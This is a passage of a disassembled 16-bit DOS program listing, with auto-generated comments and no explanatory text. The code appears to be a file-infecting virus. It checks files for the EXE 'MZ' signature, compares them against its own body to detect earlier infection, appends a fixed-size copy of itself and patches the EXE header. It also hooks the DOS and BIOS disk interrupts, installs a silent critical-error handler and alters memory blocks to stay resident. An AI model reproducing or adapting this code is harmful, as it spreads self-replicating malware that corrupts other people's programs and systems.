  732.                 add     dx,7ABh
  733.                 adc     cx,0
  734.                 cmp     cx,data_36              ; (8344:08CE=0)
  735.                 jne     loc_54                  ; Jump if not equal
  736.                 cmp     dx,data_35              ; (8344:08CC=0)
  737. loc_54:
  738.                 pop     dx
  739.                 pop     cx
  740.                 jbe     loc_56                  ; Jump if below or =
  741. loc_55:
  742.                 jmp     short loc_62            ; (065D)
  743. loc_56:
  744.                 push    cx
  745.                 push    dx
  746.                 call    sub_20                  ; (086B)
  747.                 mov     dx,904h
  748.                 mov     cx,7ABh
  749.                 call    sub_8                   ; (0764)
  750.                 jnc     loc_58                  ; Jump if carry=0
  751. loc_57:
  752.                 jmp     short loc_60            ; (0656)
  753. loc_58:
  754.                 push    es
  755.                 push    di
  756.                 push    cs
  757.                 pop     es
  758.                 mov     si,data_53e             ; (8344:09EF=0)
  759.                 mov     di,offset ds:[1EBh]     ; (8344:01EB=1Eh)
  760.                 mov     cx,0C3h
  761.                 repe    cmpsb                   ; Rep zf=1+cx >0 Cmp [si] to es:[di]
  762.                 pop     di
  763.                 pop     es
  764.                 jnz     loc_65                  ; Jump if not zero
  765.                 mov     dx,cx
  766.                 call    sub_21                  ; (0870)
  767.                 mov     cx,7ADh
  768.                 mov     dx,904h
  769.                 call    sub_7                   ; (0758)
  770.                 jnz     loc_59                  ; Jump if not zero
  771.                 add     cx,6
  772. loc_59:
  773.                 add     es:[di+11h],cx
  774.                 adc     word ptr es:[di+13h],0
  775.                 call    sub_8                   ; (0764)
  776.                 jc      loc_60                  ; Jump if carry Set
  777.                 mov     si,dx
  778.                 dec     cx
  779.                 dec     cx
  780.                 call    sub_10                  ; (0778)
  781.                 cmp     dx,[si]
  782.                 je      loc_61                  ; Jump if equal
  783. loc_60:
  784.                 stc                             ; Set carry flag
  785.                 jmp     short loc_63            ; (0661)
  786. loc_61:
  787.                 cmp     al,al
  788.                 jmp     short loc_63            ; (0661)
  789. loc_62:
  790.                 mov     al,1
  791.                 cmp     al,0
  792. loc_63:
  793.                 pushf                           ; Push flags
  794. loc_64:
  795.                 mov     si,offset data_33       ; (8344:08C9=0)
  796.                 cld                             ; Clear direction
  797.                 inc     di
  798.                 inc     di
  799.                 movsb                           ; Mov [si] to es:[di]
  800.                 inc     di
  801.                 inc     di
  802.                 movsw                           ; Mov [si] to es:[di]
  803.                 add     di,0Ah
  804.                 movsw                           ; Mov [si] to es:[di]
  805.                 movsw                           ; Mov [si] to es:[di]
  806.                 movsw                           ; Mov [si] to es:[di]
  807.                 movsw                           ; Mov [si] to es:[di]
  808.                 mov     ax,2524h
  809.                 lds     dx,dword ptr data_28    ; (8344:08BF=0) Load 32 bit ptr
  810.                 int     21h                     ; DOS Services  ah=function 25h
  811.                                                 ;  set intrpt vector al to ds:dx
  812.                 dec     ax
  813.                 lds     dx,dword ptr cs:data_26 ; (8344:08BB=0) Load 32 bit ptr
  814.                 int     21h                     ; DOS Services  ah=function 25h
  815.                                                 ;  set intrpt vector al to ds:dx
  816.                 popf                            ; Pop flags
  817.                 call    sub_25                  ; (0896)
  818.                 retn
  819. loc_65:
  820.                 test    byte ptr es:[di+4],4
  821.                 jnz     loc_62                  ; Jump if not zero
  822.                 mov     ah,0Dh
  823.                 int     21h                     ; DOS Services  ah=function 0Dh
  824.                                                 ;  flush disk buffers to disk
  825.                 push    bx
  826.                 push    ds
  827.                 push    es
  828.                 mov     ax,3540h
  829.                 int     21h                     ; DOS Services  ah=function 35h
  830.                                                 ;  get intrpt vector al in es:bx
  831.                 mov     data_30,bx              ; (8344:08C3=0)
  832.                 mov     word ptr data_30+2,es   ; (8344:08C5=8344h)
  833.                 mov     al,13h
  834.                 int     21h                     ; DOS Services  ah=function 35h
  835.                                                 ;  get intrpt vector al in es:bx
  836.                 mov     data_22,bx              ; (8344:08B3=0)
  837.                 mov     word ptr data_22+2,es   ; (8344:08B5=8344h)
  838.                 mov     ah,25h                  ; '%'
  839.                 lds     dx,data_21              ; (8344:08AF=0) Load 32 bit ptr
  840.                 int     21h                     ; DOS Services  ah=function 25h
  841.                                                 ;  set intrpt vector al to ds:dx
  842.                 mov     al,40h                  ; '@'
  843. ;*              mov     dx,offset loc_85        ;*
  844.                 db      0BAh, 59h,0ECh
  845.                 mov     bx,0F000h
  846.                 mov     ds,bx
  847.                 int     21h                     ; DOS Services  ah=function 25h
  848.                                                 ;  set intrpt vector al to ds:dx
  849.                 pop     es
  850.                 pop     ds
  851.                 pop     bx
  852.                 xor     cx,cx                   ; Zero register
  853.                 xor     dx,dx                   ; Zero register
  854.                 call    sub_21                  ; (0870)
  855.                 mov     cx,7ABh
  856.                 mov     si,904h
  857.                 call    sub_7                   ; (0758)
  858.                 jnz     loc_66                  ; Jump if not zero
  859.                 add     cx,6
  860.                 mov     ax,data_46              ; (8344:08F0=0)
  861.                 mov     ds:data_54e,ax          ; (8344:10AF=0)
  862.                 mov     ax,data_48              ; (8344:08FE=0)
  863.                 mov     ds:data_55e,ax          ; (8344:10B1=0)
  864.                 mov     ax,ds:data_49e          ; (8344:0900=0)
  865.                 mov     ds:data_56e,ax          ; (8344:10B3=0)
  866. loc_66:
  867.                 push    si
  868.                 call    sub_10                  ; (0778)
  869.                 mov     [si],dx
  870.                 pop     dx
  871.                 inc     cx
  872.                 inc     cx
  873.                 call    sub_9                   ; (076E)
  874.                 jc      loc_68                  ; Jump if carry Set
  875.                 pop     dx
  876.                 pop     cx
  877.                 call    sub_20                  ; (086B)
  878.                 mov     dx,100h
  879.                 mov     cx,7ABh
  880.                 call    sub_9                   ; (076E)
  881.                 jc      loc_69                  ; Jump if carry Set
  882.                 call    sub_7                   ; (0758)
  883.                 jnz     loc_67                  ; Jump if not zero
  884.                 xor     cx,cx                   ; Zero register
  885.                 mov     data_46,cx              ; (8344:08F0=0)
  886.                 mov     data_48,dx              ; (8344:08FE=0)
  887.                 mov     word ptr ds:data_49e,0FFF0h     ; (8344:0900=0)
  888.                 xor     dx,dx                   ; Zero register
  889.                 call    sub_20                  ; (086B)
  890.                 mov     dx,8EAh
  891.                 mov     cx,1Ah
  892.                 call    sub_9                   ; (076E)
  893.                 jc      loc_69                  ; Jump if carry Set
  894. loc_67:
  895.                 cmp     al,al
  896.                 jmp     short loc_70            ; (073C)
  897. loc_68:
  898.                 mov     al,1
  899.                 cmp     al,0
  900.                 jmp     short loc_70            ; (073C)
  901. loc_69:
  902.                 stc                             ; Set carry flag
  903. loc_70:
  904.                 pushf                           ; Push flags
  905.                 mov     ah,0Dh
  906.                 int     21h                     ; DOS Services  ah=function 0Dh
  907.                                                 ;  flush disk buffers to disk
  908.                 push    ds
  909.                 mov     ax,2513h
  910.                 lds     dx,dword ptr data_22    ; (8344:08B3=0) Load 32 bit ptr
  911.                 int     21h                     ; DOS Services  ah=function 25h
  912.                                                 ;  set intrpt vector al to ds:dx
  913.                 mov     al,40h                  ; '@'
  914.                 lds     dx,dword ptr cs:data_30 ; (8344:08C3=0) Load 32 bit ptr
  915.                 int     21h                     ; DOS Services  ah=function 25h
  916.                                                 ;  set intrpt vector al to ds:dx
  917.                 pop     ds
  918.                 jmp     loc_64                  ; (0662)
  919. sub_5           endp
  920.   
  921.   
  922. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  923. ;                              SUBROUTINE
  924. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  925.   
  926. sub_7           proc    near
  927.                 mov     ax,data_45              ; (8344:08EA=0)
  928.                 cmp     ax,5A4Dh
  929.                 je      loc_ret_71              ; Jump if equal
  930.                 cmp     ax,4D5Ah
  931.   
  932. loc_ret_71:
  933.                 retn
  934. sub_7           endp
  935.   
  936.   
  937. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  938. ;                              SUBROUTINE
  939. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  940.   
  941. sub_8           proc    near
  942.                 mov     ah,3Fh                  ; '?'
  943.                 call    sub_23                  ; (0879)
  944.                 jc      loc_ret_72              ; Jump if carry Set
  945.                 cmp     ax,cx
  946.   
  947. loc_ret_72:
  948.                 retn
  949. sub_8           endp
  950.   
  951.   
  952. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  953. ;                              SUBROUTINE
  954. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  955.   
  956. sub_9           proc    near
  957.                 mov     ah,40h                  ; '@'
  958.                 call    sub_23                  ; (0879)
  959.                 jc      loc_ret_73              ; Jump if carry Set
  960.                 cmp     ax,cx
  961.   
  962. loc_ret_73:
  963.                 retn
  964. sub_9           endp
  965.   
  966.   
  967. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  968. ;                              SUBROUTINE
  969. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  970.   
  971. sub_10          proc    near
  972.                 push    cx
  973.                 xor     dx,dx                   ; Zero register
  974.   
  975. locloop_74:
  976.                 lodsb                           ; String [si] to al
  977.                 add     dl,al
  978.                 adc     dh,0
  979.                 loop    locloop_74              ; Loop if cx > 0
  980.   
  981.                 pop     cx
  982.                 retn
  983. sub_10          endp
  984.   
  985.   
  986. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  987. ;                              SUBROUTINE
  988. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  989.   
  990. sub_11          proc    near
  991.                 push    cs
  992.                 pop     ds
  993.                 mov     si,904h
  994.                 mov     bx,ax
  995.                 mov     cx,7ABh
  996.                 call    sub_7                   ; (0758)
  997.                 jnz     loc_75                  ; Jump if not zero
  998.                 mov     ax,data_47              ; (8344:08F2=0)
  999.                 mov     dx,10h
  1000.                 mul     dx                      ; dx:ax = reg * ax
  1001.                 push    bx
  1002.                 push    di
  1003.                 call    sub_12                  ; (07BF)
  1004.                 pop     di
  1005.                 pop     bx
  1006.                 mov     si,offset data_45       ; (8344:08EA=0)
  1007.                 mov     cx,1Ah
  1008.                 mov     ax,ds:data_54e          ; (8344:10AF=0)
  1009.                 mov     data_46,ax              ; (8344:08F0=0)
  1010.                 mov     ax,ds:data_55e          ; (8344:10B1=0)
  1011.                 mov     data_48,ax              ; (8344:08FE=0)
  1012.                 mov     ax,ds:data_56e          ; (8344:10B3=0)
  1013.                 mov     ds:data_49e,ax          ; (8344:0900=0)
  1014. loc_75:
  1015.                 xor     ax,ax                   ; Zero register
  1016.                 xor     dx,dx                   ; Zero register
  1017.   
  1018. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1019.   
  1020. sub_12:
  1021.                 sub     ax,data_37              ; (8344:08D0=0)
  1022.                 sbb     dx,data_38              ; (8344:08D2=0)
  1023.                 jc      loc_76                  ; Jump if carry Set
  1024.                 jnz     loc_ret_79              ; Jump if not zero
  1025.                 sub     bx,ax
  1026.                 jbe     loc_ret_79              ; Jump if below or =
  1027.                 add     di,ax
  1028.                 jmp     short loc_77            ; (07E2)
  1029. loc_76:
  1030.                 neg     ax
  1031.                 adc     dx,0
  1032.                 neg     dx
  1033.                 jnz     loc_ret_79              ; Jump if not zero
  1034.                 sub     cx,ax
  1035.                 jbe     loc_ret_79              ; Jump if below or =
  1036.                 add     si,ax
  1037. loc_77:
  1038.                 cmp     cx,bx
  1039.                 jbe     loc_78                  ; Jump if below or =
  1040.                 mov     cx,bx
  1041. loc_78:
  1042.                 cld                             ; Clear direction
  1043.                 rep     movsb                   ; Rep when cx >0 Mov [si] to es:[di]
  1044.   
  1045. loc_ret_79:
  1046.                 retn
  1047. sub_11          endp
  1048.   
  1049.   
  1050. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1051. ;                              SUBROUTINE
  1052. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1053.   
  1054. sub_13          proc    near
  1055.                 pushf                           ; Push flags
  1056.                 call    sub_24                  ; (0884)
  1057.                 mov     ah,49h                  ; 'I'
  1058.                 push    ds
  1059.                 pop     es
  1060.                 int     21h                     ; DOS Services  ah=function 49h
  1061.                                                 ;  release memory block, es=seg
  1062.                 mov     ah,49h                  ; 'I'
  1063.                 mov     es,ds:data_8e           ; (0046:002C=50h)
  1064.                 int     21h                     ; DOS Services  ah=function 49h
  1065.                                                 ;  release memory block, es=seg
  1066.                 mov     ah,50h                  ; 'P'
  1067.                 mov     bx,ds:data_7e           ; (0046:0016=0)
  1068.                 int     21h                     ; DOS Services  ah=function 50h
  1069.                                                 ;  set active PSP segmnt from bx
  1070.                 mov     ax,2522h
  1071.                 lds     dx,dword ptr ds:data_6e ; (0046:000A=0) Load 32 bit ptr
  1072.                 int     21h                     ; DOS Services  ah=function 25h
  1073.                                                 ;  set intrpt vector al to ds:dx
  1074.                 call    sub_25                  ; (0896)
  1075.                 popf                            ; Pop flags
  1076.                 retn
  1077. sub_13          endp
  1078.   
  1079.   
  1080. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1081. ;                              SUBROUTINE
  1082. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1083.   
  1084. sub_14          proc    near
  1085.                 mov     si,dx
  1086.                 cmp     byte ptr [si],0FFh
  1087.                 jne     loc_ret_80              ; Jump if not equal
  1088.                 add     si,7
  1089.   
  1090. loc_ret_80:
  1091.                 retn
  1092. sub_14          endp
  1093.   
  1094.   
  1095. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1096. ;                              SUBROUTINE
  1097. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1098.   
  1099. sub_15          proc    near
  1100.                 call    sub_24                  ; (0884)
  1101.                 call    sub_14                  ; (0814)
  1102.                 push    cs
  1103.                 pop     es
  1104.                 mov     dx,904h
  1105.                 mov     di,dx
  1106.                 cld                             ; Clear direction
  1107.                 lodsb                           ; String [si] to al
  1108.                 or      al,al                   ; Zero ?
  1109.                 jz      loc_81                  ; Jump if zero
  1110.                 add     al,40h                  ; '@'
  1111.                 mov     ah,3Ah                  ; ':'
  1112.                 stosw                           ; Store ax to es:[di]
  1113. loc_81:
  1114.                 movsw                           ; Mov [si] to es:[di]
  1115.                 movsw                           ; Mov [si] to es:[di]
  1116.                 movsw                           ; Mov [si] to es:[di]
  1117.                 movsw                           ; Mov [si] to es:[di]
  1118.                 mov     al,2Eh                  ; '.'
  1119.                 stosb                           ; Store al to es:[di]
  1120.                 movsw                           ; Mov [si] to es:[di]
  1121.                 movsb                           ; Mov [si] to es:[di]
  1122.                 xor     al,al                   ; Zero register
  1123.                 stosb                           ; Store al to es:[di]
  1124.                 push    es
  1125.                 pop     ds
  1126.                 call    sub_3                   ; (0519)
  1127.                 call    sub_25                  ; (0896)
  1128.                 retn
  1129. sub_15          endp
  1130.   
  1131.   
  1132. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1133. ;                              SUBROUTINE
  1134. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1135.   
  1136. sub_16          proc    near
  1137.                 push    ax
  1138.                 mov     ax,cs
  1139.                 jmp     short loc_82            ; (0854)
  1140.   
  1141. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1142.   
  1143. sub_17:
  1144.                 push    ax
  1145.                 xor     ax,ax                   ; Zero register
  1146. loc_82:
  1147.                 push    bx
  1148.                 push    ds
  1149.                 mov     bx,cs
  1150.                 dec     bx
  1151.                 mov     ds,bx
  1152.                 mov     ds:data_16e,ax          ; (8343:0001=0FFFFh)
  1153.                 pop     ds
  1154.                 pop     bx
  1155.                 pop     ax
  1156.                 retn
  1157. sub_16          endp
  1158.   
  1159.   
  1160. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1161. ;                              SUBROUTINE
  1162. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1163.   
  1164. sub_18          proc    near
  1165.                 mov     ax,3D00h
  1166.                 jmp     short loc_83            ; (0879)
  1167.   
  1168. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1169.   
  1170. sub_19:
  1171.                 mov     ah,3Eh                  ; '>'
  1172.                 jmp     short loc_83            ; (0879)
  1173.   
  1174. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1175.   
  1176. sub_20:
  1177.                 mov     ax,4200h
  1178.                 jmp     short loc_83            ; (0879)
  1179.   
  1180. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1181.   
  1182. sub_21:
  1183.                 mov     ax,4202h
  1184.                 jmp     short loc_83            ; (0879)
  1185.   
  1186. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1187.   
  1188. sub_22:
  1189.                 push    word ptr [bp+6]
  1190.                 popf                            ; Pop flags
  1191.   
  1192. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1193.   
  1194. sub_23:
  1195. loc_83:
  1196.                 pushf                           ; Push flags
  1197.                 cli                             ; Disable interrupts
  1198.                 call    dword ptr cs:data_20    ; (8344:08AB=0)
  1199.                 retn
  1200. sub_18          endp
  1201.   
  1202.   
  1203. ;██████████████████████████████████████████████████████████████████████████
  1204. ;
  1205. ;                       External Entry Point
  1206. ;
  1207. ;██████████████████████████████████████████████████████████████████████████
  1208.   
  1209. int_24h_entry   proc    far
  1210.                 mov     al,3
  1211. int_24h_entry   endp
  1212.   
  1213.   
  1214. ;██████████████████████████████████████████████████████████████████████████
  1215. ;
  1216. ;                       External Entry Point
  1217. ;
  1218. ;██████████████████████████████████████████████████████████████████████████
  1219.   
  1220. int_23h_entry   proc    far
  1221.                 iret                            ; Interrupt return
  1222. int_23h_entry   endp
  1223.   
  1224.   
  1225. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1226. ;                              SUBROUTINE
  1227. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1228.   
  1229. sub_24          proc    near
  1230.                 pop     cs:data_32              ; (8344:08C7=0)
  1231.                 push    ds
  1232.                 push    dx
  1233.                 push    es
  1234.                 push    bx
  1235.                 push    ax
  1236.                 push    cx
  1237.                 push    si
  1238.                 push    di
  1239.                 push    bp
  1240.                 mov     bp,sp
  1241.                 jmp     short loc_84            ; (08A6)
  1242.   
  1243. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1244.   
  1245. sub_25:
  1246.                 pop     cs:data_32              ; (8344:08C7=0)
  1247.                 mov     sp,bp
  1248.                 pop     bp
  1249.                 pop     di
  1250.                 pop     si
  1251.                 pop     cx
  1252.                 pop     ax
  1253.                 pop     bx
  1254.                 pop     es
  1255.                 pop     dx
  1256.                 pop     ds
  1257. loc_84:
  1258.                 jmp     word ptr cs:data_32     ; (8344:08C7=0)
  1259. data_20         dd      00000h
  1260. data_21         dd      00000h
  1261. data_22         dw      0, 8344h
  1262. data_24         dw      0, 8344h
  1263. data_26         dw      0, 8344h
  1264. data_28         dw      0, 8344h
  1265. data_30         dw      0, 8344h
  1266. data_32         dw      0
  1267. data_33         db      0
  1268. data_34         dw      0
  1269. data_35         dw      0
  1270. data_36         dw      0
  1271. data_37         dw      0
  1272. data_38         dw      0
  1273. data_39         dw      0
  1274.                 db      12 dup (0)
  1275. data_41         dw      0
  1276. data_42         dw      0
  1277. data_43         dd      00000h
  1278. data_45         dw      0
  1279.                 db      0, 0, 0, 0
  1280. data_46         dw      0
  1281. data_47         dw      0
  1282.                 db      10 dup (0)
  1283. data_48         dw      0
  1284. sub_24          endp
  1285.   
  1286.   
  1287. seg_a           ends
  1288.   
  1289.   
  1290.   
  1291.                 end     start
  1292.